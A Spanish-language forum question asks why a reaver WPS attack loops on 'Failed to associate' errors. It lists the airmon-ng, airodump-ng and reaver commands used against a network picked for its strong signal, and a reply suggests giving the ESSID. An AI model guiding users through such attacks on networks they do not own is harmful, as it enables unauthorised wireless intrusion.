Hola muy buenas! Este es mi primer post y tengo esta duda:

He usado:
 
   airmon-ng start wlan0

Luego:

  airodump-ng mon0

Escogí la BSSID de la red que mas "beacons" ofrecía.

Y opté por el supuesto comando final:

  reaver -i mon0 -b BSSID

Con lo que el resultado fue un infinito:

root@*****:~# reaver -i mon0 -b 20:25:64:5C:D1:8C

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

• Waiting for beacon from 20:25:64:5C:D1:8C
[!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
[!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
[!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
[!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
[!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
[!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
[!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
[!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
[!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
[!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
[!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
^C

He probado añadirle opciones de reaver,, pero sigue pasando exactamente lo mismo. Muchas gracias de antemano!!!! 

prueba a especificarle el essid.